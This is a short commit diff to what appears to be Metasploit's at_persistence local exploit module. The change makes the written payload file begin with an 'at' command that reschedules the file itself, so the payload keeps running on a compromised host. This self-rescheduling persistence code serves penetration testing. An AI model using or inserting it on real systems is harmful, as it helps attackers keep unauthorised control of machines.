Make at_persistence more persistent

Author: jhart-r7

modules/exploits/multi/local/at_persistence.rb

@@ -76,7 +76,8 @@ def exploit
       fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
     end
 
-    write_file(payload_file, payload.encoded)
+    persistent_payload = "at -f #{payload_file} #{datastore['TIME']}\n" + payload.encoded
+    write_file(payload_file, persistent_payload)
     register_files_for_cleanup(payload_file) if datastore['CLEANUP']
 
     cmd_exec("at -f #{payload_file} #{datastore['TIME']}")